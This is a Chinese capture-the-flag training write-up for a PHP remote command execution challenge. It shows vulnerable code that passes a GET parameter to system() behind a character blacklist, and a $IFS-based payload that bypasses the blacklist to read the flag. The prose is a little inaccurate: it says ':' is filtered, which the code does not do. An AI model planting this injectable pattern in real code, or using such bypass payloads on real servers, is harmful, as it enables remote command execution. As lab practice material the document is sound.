[题目信息]:
题目名称 | 题目难度 |
---|---|
no_good_file(训练题) | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{CEFHCp-i7vPT1RpytkTOaNqlTutti6Xk}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5019
[题目writeup]:
<?php
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
$str1='/';
$str2='..';
$str3='|';
$str4=' ';
$str5='&';
$str5='@';
$str6='!';
$str7='+';
$str8='>';
$str9='(';
$str10='\\';
$str11='^';
if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11))){
exit("quit!!!!");
}
if (!empty($cmd)){
echo "<pre>";
system($cmd);
echo "<pre>";
}else{
echo "</br>Please enter the Command! </br>";
}
?>
代码较长,主要分析核心代码;
- 用户通过get方式传递参数值
- 提示flag位于"/flag",但禁用了两个关键符号,"/"、":“以及”…";
- 如果通过waf后,会执行system()函数;
因为没有过滤.号,可以通过命令拼接构造…;以及利用cd …命令不断返回上一层,到达"/"目录,执行cat flag
payload
cmd=a=.;b=.;cd$IFS$9$a$b;cd$IFS$9$a$b;cd$IFS$9$a$b;cat$IFS$9flag